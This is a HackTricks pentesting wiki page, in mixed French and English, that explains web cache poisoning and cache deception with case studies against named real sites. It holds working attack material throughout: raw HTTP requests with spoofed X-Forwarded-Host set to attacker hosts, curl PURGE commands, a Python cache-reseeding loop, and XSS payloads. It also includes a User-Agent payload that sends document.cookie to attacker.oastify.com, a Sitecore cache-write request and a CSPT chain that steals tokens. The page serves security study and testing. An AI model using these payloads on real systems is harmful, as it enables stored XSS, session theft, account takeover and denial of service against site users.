Cache Poisoning and Cache Deception
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
La différence
Quelle est la différence entre web cache poisoning et web cache deception ?
- Dans web cache poisoning, l’attaquant fait en sorte que l’application stocke du contenu malveillant dans le cache, et ce contenu est servi depuis le cache à d’autres utilisateurs de l’application.
- Dans web cache deception, l’attaquant fait en sorte que l’application stocke du contenu sensible appartenant à un autre utilisateur dans le cache, puis l’attaquant récupère ce contenu depuis le cache.
Cache Poisoning
Cache poisoning vise à manipuler le cache côté client pour forcer les clients à charger des ressources inattendues, partielles ou sous le contrôle d’un attaquant. L’étendue de l’impact dépend de la popularité de la page affectée, puisque la réponse contaminée est servie uniquement aux utilisateurs visitant la page pendant la période de contamination du cache.
L’exécution d’une attaque de cache poisoning implique plusieurs étapes :
- Identification des entrées non prises en compte par la clé de cache : ce sont des paramètres qui, bien qu’ils ne soient pas requis pour qu’une requête soit mise en cache, peuvent modifier la réponse renvoyée par le serveur. Les identifier est crucial car ils peuvent être exploités pour manipuler le cache.
- Exploitation des entrées non prises en compte par la clé de cache : après avoir identifié ces entrées, l’étape suivante consiste à déterminer comment abuser de ces paramètres pour modifier la réponse du serveur d’une manière profitable à l’attaquant.
- S’assurer que la réponse empoisonnée est mise en cache : la dernière étape consiste à garantir que la réponse manipulée soit stockée dans le cache. Ainsi, tout utilisateur accédant à la page affectée pendant la période d’empoisonnement du cache recevra la réponse contaminée.
Découverte : vérifier les en-têtes HTTP
En général, lorsqu’une réponse a été stockée dans le cache, il y aura un en-tête l’indiquant ; vous pouvez vérifier quels en-têtes doivent retenir votre attention dans ce post : HTTP Cache headers.
Découverte : mise en cache des codes d’erreur
Si vous pensez que la réponse est stockée dans un cache, vous pouvez essayer d’envoyer des requêtes avec un en-tête invalide, qui devrait recevoir une réponse avec le code d’état 400. Puis essayez d’accéder normalement à la ressource et si la réponse est un code d’état 400, vous savez que c’est vulnérable (et vous pourriez même effectuer un DoS).
Vous pouvez trouver plus d’options dans :
Cependant, notez que parfois ce type de codes d’état n’est pas mis en cache, donc ce test peut ne pas être fiable.
Découverte : identifier et évaluer les entrées non prises en compte par la clé de cache
Vous pouvez utiliser Param Miner pour brute-force des paramètres et des en-têtes qui peuvent modifier la réponse de la page. Par exemple, une page peut utiliser l’en-tête X-Forwarded-For pour indiquer au client de charger le script depuis là:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Provoquer une réponse malveillante depuis le serveur back-end
Avec le parameter/header identifié, vérifiez comment il est sanitisé et où il est renvoyé ou affecte la réponse depuis le header. Pouvez-vous l’abuser malgré tout (perform an XSS ou charger un code JS contrôlé par vous ? perform a DoS ?…)
Mettre la réponse en cache
Une fois que vous avez identifié la page qui peut être abusée, quel parameter/header utiliser et comment l’abuser, vous devez faire mettre la page en cache. Selon la ressource que vous essayez de placer dans le cache, cela peut prendre du temps — vous devrez peut‑être essayer pendant plusieurs secondes.
The header X-Cache in the response could be very useful as it may have the value miss when the request wasn’t cached and the value hit when it is cached.
The header Cache-Control is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: Cache-Control: public, max-age=1800
Another interesting header is Vary. This header is often used to indicate additional headers that are treated as part of the cache key even if they are normally unkeyed. Therefore, if the user knows the User-Agent of the victim he is targeting, he can poison the cache for the users using that specific User-Agent.
One more header related to the cache is Age. It defines the times in seconds the object has been in the proxy cache.
When caching a request, be careful with the headers you use because some of them could be used unexpectedly as keyed and the victim will need to use that same header. Always test a Cache Poisoning with different browsers to check if it’s working.
Foundational cache poisoning case studies
HackerOne global redirect via X-Forwarded-Host
- The origin templated redirects and canonical URLs with
X-Forwarded-Host, but the cache key only used theHostheader, so a single response poisoned every visitor to/. - Poison with:
GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com
- Relancez immédiatement une requête sur
/sans le spoofed header ; si la redirection persiste, vous avez un global host-spoofing primitive qui convertit souvent les reflected redirects/Open Graph links en stored issues.
GitHub repository DoS via Content-Type + PURGE
- Le trafic anonyme était indexé uniquement par chemin, tandis que le backend entrait dans un état d’erreur quand il rencontrait un
Content-Typeinattendu. Cette réponse d’erreur était cacheable pour chaque utilisateur non authentifié d’un repo. - GitHub honorait aussi (par erreur) le verbe
PURGE, permettant à l’attaquant de purger une entrée saine et de forcer les caches à récupérer la variante empoisonnée à la demande :
curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo
- Comparez toujours les cache keys pour les sessions authentifiées et anonymes, fuzzez les headers rarement utilisés comme
Content-Type, et sondez les cache-maintenance verbs exposés pour automatiser le re-poisoning.
Shopify cross-host persistence loops
- Les Multi-layer caches exigent parfois plusieurs hits identiques avant de valider un nouvel objet. Shopify a réutilisé le même cache sur de nombreux localized hosts, donc la persistence a eu un impact sur de nombreuses propriétés.
- Utilisez de courtes automation loops pour reseed de manière répétée :
import requests, time
for i in range(100):
requests.get("https://shop.shopify.com/endpoint",
headers={"X-Forwarded-Host": "attacker.com"})
time.sleep(0.1)
print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
- Après une réponse
hit, parcourez d’autres hosts/assets qui partagent le même cache namespace pour démontrer le rayon d’impact inter-domaines.
JS asset redirect → stored XSS chain
- Les programmes privés hébergent souvent des JS partagés tels que
/assets/main.jssur des dizaines de sous-domaines. SiX-Forwarded-Hostinfluence la logique de redirection pour ces assets mais n’est pas utilisée comme clé de cache, la réponse mise en cache devient un 301 vers un JS contrôlé par l’attaquant, entraînant du stored XSS partout où l’asset est importé.
GET /assets/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
- Identifiez les hôtes qui réutilisent le même chemin d’asset pour pouvoir prouver une compromission multi-sous-domaines.
GitLab DoS statique via X-HTTP-Method-Override
- GitLab servait des bundles statiques depuis Google Cloud Storage, qui respecte
X-HTTP-Method-Override. En remplaçantGETparHEAD, cela renvoyait un200 OKpouvant être mis en cache avecContent-Length: 0, et le cache en périphérie ignorait la méthode HTTP lors de la génération de la clé.
GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD
- Une seule requête a remplacé le JS bundle par un corps vide pour chaque GET, provoquant effectivement un DoSing de l’UI. Testez toujours les method overrides (
X-HTTP-Method-Override,X-Method-Override, etc.) contre les static assets et confirmez si le cache varie selon la méthode.
HackerOne static asset loop via X-Forwarded-Scheme
- Le middleware Rack de Rails faisait confiance à
X-Forwarded-Schemepour décider s’il fallait forcer HTTPS. Spoofinghttpcontre/static/logo.pnga déclenché une 301 cacheable, si bien que tous les utilisateurs recevaient par la suite des redirections (ou des boucles) au lieu de l’asset :
GET /static/logo.png HTTP/1.1
Host: hackerone.com
X-Forwarded-Scheme: http
- Combine scheme spoofing avec host spoofing quand c’est possible pour créer des irreversible redirects pour des ressources très visibles.
Cloudflare : discordance de casse du host-header
- Cloudflare a normalisé l’en-tête
Hostpour les cache keys mais a transféré la casse brute aux origins. L’envoi deHost: TaRgEt.CoMa déclenché un comportement alternatif dans origin routing/templating tout en remplissant le canonical lowercase cache bucket.
GET / HTTP/1.1
Host: TaRgEt.CoM
- Énumérer les tenants CDN en rejouant des mixed-case hosts (et d’autres normalized headers) et en diffant la cached response par rapport à l’origin response pour découvrir des shared-platform cache poisonings.
Red Hat Open Graph meta poisoning
- L’injection de
X-Forwarded-Hostdans Open Graph tags a transformé une reflected HTML injection en un stored XSS une fois que le CDN a mis la page en cache. Utiliser un cache buster inoffensif pendant les tests pour éviter de nuire aux utilisateurs en production :
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."?><script>alert(1)</script>
- Les scrapers de réseaux sociaux consomment les Open Graph tags mis en cache, donc une seule entrée empoisonnée distribue le payload bien au-delà des visiteurs directs.
Exemples d’exploitation
Exemple le plus simple
Un en-tête tel que X-Forwarded-For est reflété dans la réponse sans être assaini.
Vous pouvez envoyer un payload XSS basique et empoisonner le cache pour que tous les utilisateurs qui accèdent à la page soient XSSed :
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Notez que cela empoisonnera une requête vers /en?region=uk et non vers /en
Cache poisoning to DoS
Cache poisoning through CDNs
In this writeup it’s explained the following simple scenario:
- Le CDN mettra en cache tout ce qui se trouve sous
/share/ - Le CDN ne décodera PAS ni ne normalisera
%2F..%2F, par conséquent, il peut être utilisé comme path traversal to access other sensitive locations that will be cached commehttps://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 - Le serveur web DÉCODERA et normalisera
%2F..%2F, et répondra avec/api/auth/session, qui contains the auth token.
Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies could also be reflected on the response of a page. If you can abuse it to cause a XSS for example, you could be able to exploit XSS in several clients that load the malicious cache response.
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Notez que si le cookie vulnérable est très utilisé par les utilisateurs, des requêtes régulières nettoieront le cache.
Générer des divergences avec des délimiteurs, la normalisation et les points
Voir :
Cache Poisoning via URL discrepancies
Cache poisoning with path traversal pour voler une API key
This writeup explains comment il a été possible de voler une OpenAI API key avec une URL comme https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 parce que tout ce qui correspond à /share/* sera cached sans que Cloudflare normalise l’URL, opération qui était effectuée lorsque la requête atteignait le web server.
Ceci est également mieux expliqué dans :
Cache Poisoning via URL discrepancies
Using multiple headers to exploit web cache poisoning vulnerabilities
Parfois, vous devrez exploit several unkeyed inputs afin de pouvoir abuser d’un cache. Par exemple, vous pouvez trouver un Open redirect si vous réglez X-Forwarded-Host sur un domaine que vous contrôlez et X-Forwarded-Scheme sur http. Si le server est forwarding toutes les requêtes HTTP to HTTPS et utilise l’en-tête X-Forwarded-Scheme comme nom de domaine pour la redirection, vous pouvez contrôler où la page est pointée par le redirect.
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
Exploitation avec un Vary header limité
Si vous constatez que l’en-tête X-Host est utilisé comme nom de domaine pour charger une ressource JS mais que l’en-tête Vary dans la réponse indique User-Agent, alors vous devez trouver un moyen d’exfiltrer le User-Agent de la victime et d’empoisonner le cache en utilisant cet User-Agent :
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
Envoyer une GET request avec la requête dans l’URL et dans le body. Si le web server utilise celle provenant du body mais que le cache server met en cache celle provenant de l’URL, toute personne accédant à cette URL utilisera en fait le parameter du body. Comme le vuln trouvé par James Kettle sur le site Github :
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
Il y a un lab PortSwigger à ce sujet : https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parameter Cloacking
Par exemple, il est possible de séparer parameters sur des serveurs Ruby en utilisant le caractère ; au lieu de &. Cela peut être utilisé pour placer des valeurs de paramètres non-nommés à l’intérieur de paramètres nommés et les exploiter.
Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Apprenez ici comment effectuer Cache Poisoning attacks by abusing HTTP Request Smuggling.
Tests automatisés pour Web Cache Poisoning
Le Web Cache Vulnerability Scanner peut être utilisé pour tester automatiquement Web Cache Poisoning. Il prend en charge de nombreuses techniques et est hautement personnalisable.
Example usage: wcvs -u example.com
Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Ce schéma observé en environnement réel enchaîne un primitive de réflexion basée sur un en-tête avec le comportement d’un CDN/WAF pour empoisonner de façon fiable le HTML mis en cache servi à d’autres utilisateurs :
- Le HTML principal reflétait un en-tête de requête non fiable (par ex.,
User-Agent) dans un contexte exécutable. - Le CDN supprimait les en-têtes de cache mais un cache interne/d’origine existait. Le CDN mettait aussi automatiquement en cache les requêtes se terminant par des extensions statiques (par ex.,
.js), tandis que le WAF appliquait une inspection de contenu plus faible aux GET pour les assets statiques. - Des particularités du flux de requêtes permettaient à une requête vers un chemin
.jsd’influencer la clé/variante de cache utilisée pour le HTML principal suivant, permettant un XSS inter-utilisateurs via la réflexion d’en-tête.
Recette pratique (observée sur un CDN/WAF populaire) :
- Depuis une IP propre (éviter les dégradations basées sur la réputation), définissez un
User-Agentmalveillant via le navigateur ou Burp Proxy Match & Replace. - Dans Burp Repeater, préparez un groupe de deux requêtes et utilisez “Send group in parallel” (le mode single-packet fonctionne le mieux) :
- Première requête : GET d’une ressource
.jssur la même origine en envoyant votreUser-Agentmalveillant. - Immediàtement après : GET de la page principale (
/).
- La course de routage CDN/WAF, combinée au
.jsmis en cache automatiquement, infecte souvent une variante HTML mise en cache qui est ensuite servie à d’autres visiteurs partageant les mêmes conditions de clé de cache (par ex., mêmes dimensionsVarycommeUser-Agent).
Exemple de payload d’en-tête (pour exfiltrer des cookies non-HttpOnly) :
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
Operational tips:
- De nombreux CDN masquent les en‑têtes de cache ; le poisoning peut n’apparaître que sur des cycles de rafraîchissement de plusieurs heures. Utilisez plusieurs vantage IPs et throttle pour éviter les triggers de rate-limit ou de réputation.
- Utiliser une IP provenant du cloud propre au CDN améliore parfois la cohérence du routage.
- Si une CSP stricte est présente, cela fonctionne toujours si la reflection s’exécute dans le contexte HTML principal et que la CSP autorise l’exécution inline ou est contournée selon le contexte.
Impact:
- Si les cookies de session ne sont pas
HttpOnly, un ATO zero-click est possible en exfiltrant en massedocument.cookiedepuis tous les utilisateurs servis par le poisoned HTML.
Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the Sitecore.Shell.Xaml.WebControl handler is reached, an xmlcontrol:GlobalHeader (derived from Sitecore.Web.UI.WebControl) is available and the following reflective call is allowed:
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Cela écrit du HTML arbitraire sous une cache key choisie par l’attaquant, permettant un empoisonnement précis une fois les cache keys connues.
Pour les détails complets (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE) :
Exemples vulnérables
Apache Traffic Server (CVE-2021-27577)
ATS a transmis le fragment dans l’URL sans l’enlever et a généré la cache key en n’utilisant que le host, path and query (ignorant le fragment). Ainsi la requête /#/../?r=javascript:alert(1) a été envoyée au backend comme /#/../?r=javascript:alert(1) et la cache key ne contenait pas la charge utile, seulement host, path and query.
403 et Storage Buckets
Cloudflare mettait auparavant en cache les réponses 403. Tenter d’accéder à S3 ou Azure Storage Blobs avec des en-têtes Authorization incorrects entraînait une réponse 403 qui était mise en cache. Bien que Cloudflare ait arrêté de mettre en cache les réponses 403, ce comportement peut encore être présent dans d’autres services proxy.
Injecting Keyed Parameters
Les caches incluent souvent des paramètres GET spécifiques dans la cache key. Par exemple, Varnish de Fastly mettait en cache le paramètre size dans les requêtes. Cependant, si une version encodée en URL du paramètre (p. ex. siz%65) était aussi envoyée avec une valeur erronée, la cache key serait construite en utilisant le paramètre size correct. Pourtant, le backend traiterait la valeur du paramètre encodé. L’URL-encoding du second paramètre size entraînait son omission par le cache mais son utilisation par le backend. Attribuer la valeur 0 à ce paramètre aboutissait à une erreur 400 Bad Request mise en cache.
User Agent Rules
Certains développeurs bloquent les requêtes dont les user-agents correspondent à ceux d’outils à fort trafic comme FFUF ou Nuclei pour gérer la charge serveur. Ironiquement, cette approche peut introduire des vulnérabilités telles que cache poisoning et DoS.
Illegal Header Fields
Le RFC7230 spécifie les caractères acceptables dans les noms d’en-tête. Les headers contenant des caractères en dehors de la plage tchar spécifiée devraient idéalement déclencher une réponse 400 Bad Request. En pratique, les serveurs n’adhèrent pas toujours à cette norme. Un exemple notable est Akamai, qui transmet des headers contenant des caractères invalides et met en cache toute erreur 400, tant que l’en-tête cache-control n’est pas présent. Un schéma exploitable a été identifié où l’envoi d’un header avec un caractère illégal, comme \, entraînait une erreur 400 Bad Request mise en cache.
Trouver de nouveaux headers
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Deception
Le but de Cache Deception est d’amener les clients à charger des ressources qui vont être enregistrées par le cache avec leurs informations sensibles.
Tout d’abord, notez que les extensions telles que .css, .js, .png etc. sont généralement configurées pour être enregistrées dans le cache. Par conséquent, si vous accédez à www.example.com/profile.php/nonexistent.js, le cache va probablement stocker la réponse parce qu’il détecte l’extension .js. Mais si l’application renvoie le contenu utilisateur sensible stocké dans www.example.com/profile.php, vous pouvez voler ce contenu à d’autres utilisateurs.
Autres choses à tester :
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- Use lesser known extensions such as
.avif
Un autre exemple très clair se trouve dans ce write-up: https://hackerone.com/reports/593712.
Dans l’exemple, il est expliqué que si vous chargez une page inexistante comme http://www.example.com/home.php/non-existent.css, le contenu de http://www.example.com/home.php (avec les informations sensibles de l’utilisateur) sera renvoyé et le serveur cache va enregistrer le résultat.
Ensuite, l’attaquant peut accéder à http://www.example.com/home.php/non-existent.css depuis son propre navigateur et observer les informations confidentielles des utilisateurs qui ont accédé auparavant.
Notez que le cache proxy doit être configuré pour mettre en cache les fichiers en fonction de l’extension du fichier (.css) et non en fonction du content-type. Dans l’exemple, http://www.example.com/home.php/non-existent.css aura un content-type text/html au lieu d’un mime type text/css.
Découvrez ici comment effectuer Cache Deceptions attacks abusing HTTP Request Smuggling.
CSPT-assisted authenticated cache poisoning (Account Takeover)
Ce pattern combine un primitif Client-Side Path Traversal (CSPT) dans une Single-Page App (SPA) avec le caching CDN basé sur l’extension pour mettre en cache publiquement du JSON sensible qui était à l’origine disponible uniquement via un appel API authentifié.
Idée générale :
- Un endpoint API sensible exige un auth header personnalisé et est correctement indiqué comme non-cacheable côté origin.
- L’ajout d’un suffixe ayant l’apparence d’un fichier statique (par exemple, .css) pousse le CDN à traiter le chemin comme un asset statique et à mettre en cache la réponse, souvent sans varier selon des headers sensibles.
- La SPA contient CSPT : elle concatène un segment de chemin contrôlé par l’utilisateur dans l’URL de l’API tout en attachant l’auth header de la victime (par ex. X-Auth-Token). En injectant un parcours ../.., le fetch authentifié est redirigé vers la variante de chemin cacheable (…/v1/token.css), amenant le CDN à mettre en cache le JSON du token de la victime sous une clé publique.
- N’importe qui peut alors effectuer un GET sur cette même cache key sans authentification et récupérer le token de la victime.
Exemple
- Sensitive endpoint (non-cacheable at origin):
GET /v1/token HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: Miss from cdn
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
- Un suffixe à apparence statique rend le CDN susceptible d’être mis en cache :
GET /v1/token.css HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=86400, public
X-Cache: Hit from cdn
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
- CSPT dans SPA attache auth header et permet traversal:
const urlParams = new URLSearchParams(window.location.search);
const userId = urlParams.get('userId');
const apiUrl = `https://api.example.com/v1/users/info/${userId}`;
fetch(apiUrl, {
method: 'GET',
headers: { 'X-Auth-Token': authToken }
});
- Chaîne d’exploitation :
- Amener la victime vers une URL qui injecte des dot-segments dans le paramètre de chemin de la SPA, p.ex. :
- La SPA effectue un fetch authentifié vers :
- La normalisation du navigateur la résout en :
- Le CDN traite .css comme un asset statique et met en cache le JSON avec Cache-Control: public, max-age=…
- Récupération publique : n’importe qui peut alors faire un GET https://api.example.com/v1/token.css et obtenir le JSON du token mis en cache.
Preconditions
- SPA performs authenticated fetch/XHR to the same API origin (or cross-origin with working CORS) and attaches sensitive headers or bearer tokens.
- Edge/CDN applies extension-based caching for static-looking paths (e.g., *.css, *.js, images) and does not vary the cache key on the sensitive header.
- L’origine du endpoint de base n’est pas cacheable (correct), mais la variante suffixée par une extension est autorisée ou non bloquée par les règles d’edge.
Checklist de validation
- Identifiez les endpoints dynamiques sensibles et essayez des suffixes comme .css, .js, .jpg, .json. Cherchez Cache-Control: public/max-age et X-Cache: Hit (ou équivalent, p.ex. CF-Cache-Status) pendant que le contenu reste du JSON.
- Localisez le code client qui concatène des entrées contrôlées par l’utilisateur dans les chemins d’API tout en attachant des en-têtes d’auth. Injectez des séquences ../ pour rediriger la requête authentifiée vers l’endpoint ciblé.
- Confirmez que l’en-tête authentifié est présent sur la requête retargetée (p.ex. via un proxy ou les logs serveur) et que le CDN met en cache la réponse sous le chemin traversé.
- Depuis un contexte vierge (sans auth), demandez le même chemin et confirmez que le JSON secret est servi depuis le cache.
Outils automatiques
- toxicache: Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.
- CacheDecepHound: Python scanner designed to detect Cache Deception vulnerabilities in web servers.
Références
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
- Burp Proxy Match & Replace
- watchTowr Labs – Sitecore XP cache poisoning → RCE
- Cache Deception + CSPT: Turning Non Impactful Findings into Account Takeover
- CSPT overview by Matan Berson
- CSPT presentation by Maxence Schmitt
- PortSwigger: Web Cache Deception
- Cache Poisoning Case Studies Part 1: Foundational Attacks Behind a $100K+ Vulnerability Class
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

